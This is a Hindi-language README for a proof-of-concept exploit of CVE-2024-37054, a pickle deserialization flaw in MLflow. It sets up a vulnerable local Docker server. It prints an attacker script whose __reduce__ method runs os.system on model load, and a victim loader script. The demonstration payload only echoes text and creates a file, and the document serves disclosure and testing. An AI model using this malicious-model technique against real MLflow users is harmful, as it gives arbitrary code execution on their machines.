
NiteeshPujari/CVE-2024-37054, यह रिपॉजिटरी MLflow में एक गंभीर डिसीरियलाइज़ेशन भेद्यता के लिए एक प्रूफ ऑफ कॉन्सेप्ट (PoC) शामिल करता है जो रिमोट कोड निष्पादन (RCE) की अनुमति देता है।
__ __ _ _____ _ ___ __ __
| \/ || | | ___|| | / _ \\ \ / /
| |\/| || | | |_ | | | | | |\ \ /\ / /
| | | || |___ | _| | |___| |_| | \ V V /
|_| |_||_____||_| |_____|\___/ \_/\_/
____ ____ _____ ____ ____
| _ \ / ___|| ____| | _ \ ___ / ___|
| |_) || | | _| | |_) |/ _ \ | |
| _ < | |___ | |___ | __/| (_) || |___
|_| \_\ \____||_____| |_| \___/ \____|
यह रिपॉजिटरी CVE-2024-37054 के लिए एक प्रूफ ऑफ कॉन्सेप्ट (PoC) है, जो MLflow में एक गंभीर डिसीरियलाइजेशन भेद्यता है, जो रिमोट कोड निष्पादन (RCE) की अनुमति देती है।
CVE-2024-37054mlflow.pyfunc.load_model फ़ंक्शन में एक डिसीरियलाइजेशन भेद्यता मौजूद है। एक हमलावर एक दुर्भावनापूर्ण मॉडल बना सकता है जिसमें एक पिकल्ड पेलोड होता है। जब कोई पीड़ित इस मॉडल को लोड करता है, तो पेलोड cloudpickle.load के माध्यम से डिसीरियलाइज़ हो जाता है, जिससे पीड़ित की मशीन पर मनमाना कोड निष्पादन होता है।0.9.0 से लेकर 2.14.2 को छोड़कर।mlflow/pyfunc/model.py के अंदर _load_pyfunc।यह PoC दो भूमिकाओं का अनुकरण करता है: एक हमलावर जो एक दुर्भावनापूर्ण मॉडल अपलोड करता है, और एक पीड़ित जो इसे लोड करता है, जिससे RCE ट्रिगर होता है।
कमजोर MLflow सर्वर स्थापित करने का सबसे आसान तरीका प्रदान की गई Dockerfile का उपयोग करना है।
Docker कंटेनर बनाएं और चलाएं:
# 1. Docker इमेज बनाएं
docker build -t mlflow-vulnerable .
# 2. कंटेनर चलाएं, पोर्ट 5000 को होस्ट पर मैप करते हुए
docker run -p 5000:5000 --name mlflow-poc-server -it mlflow-vulnerable
आपका कमजोर MLflow सर्वर अब http://127.0.0.1:5000 पर चल रहा है।
आपको अपने होस्ट मशीन पर दो अलग-अलग टर्मिनलों की आवश्यकता होगी। सुनिश्चित करें कि आपके पास क्लाइंट स्क्रिप्ट चलाने के लिए स्थानीय रूप से mlflow का एक कमजोर संस्करण स्थापित है (pip install mlflow==2.14.1)।
अपने पहले टर्मिनल में, दुर्भावनापूर्ण मॉडल लॉग करने के लिए हमलावर की स्क्रिप्ट चलाएं।
# poc/log_malicious_model.py
import mlflow
import os
# आपके MLflow ट्रैकिंग सर्वर का URI
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
class MaliciousCodeWrapper(mlflow.pyfunc.PythonModel):
def __init__(self):
class CommandRunner:
def __reduce__(self):
cmd = 'echo ">>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<" && echo > pwned.txt'
return (os.system, (cmd,))
self.payload = CommandRunner()
def predict(self, context, model_input):
return "This model is a malicious payload."
if __name__ == "__main__":
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
mlflow.set_experiment("Security Demos")
with mlflow.start_run() as run:
mlflow.pyfunc.log_model(
artifact_path="model",
python_model=MaliciousCodeWrapper(),
registered_model_name=REGISTERED_MODEL_NAME
)
print(f"[*] Malicious model '{REGISTERED_MODEL_NAME}' has been logged.")
इसे चलाएं:
python poc/log_malicious_model.py
अपने दूसरे टर्मिनल में, समझौता किए गए मॉडल को लोड करने का अनुकरण करने के लिए पीड़ित की स्क्रिप्ट चलाएं।
# poc/load_vulnerable_model.py
import mlflow
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
MODEL_VERSION = 1
if __name__ == "__main__":
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
model_uri = f"models:/{REGISTERED_MODEL_NAME}/{MODEL_VERSION}"
print(f"[*] VICTIM: Attempting to load model from URI: {model_uri}")
print("[*] The payload will execute on the next line...")
try:
loaded_model = mlflow.pyfunc.load_model(model_uri)
print("\n[*] Model loaded successfully.")
except Exception as e:
print(f"\n[!] An error occurred: {e}")
इसे चलाएं:
python poc/load_vulnerable_model.py
पीड़ित की स्क्रिप्ट चलाने के बाद, आप टर्मिनल में संदेश /bin/sh: 1: >>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<: not found देखेंगे, और आपकी निर्देशिका में pwned.txt नामक एक नई फ़ाइल बन जाएगी। यह सफल कमांड निष्पादन की पुष्टि करता है।
यह प्रूफ ऑफ कॉन्सेप्ट पुजारी नितीश द्वारा विकसित किया गया था।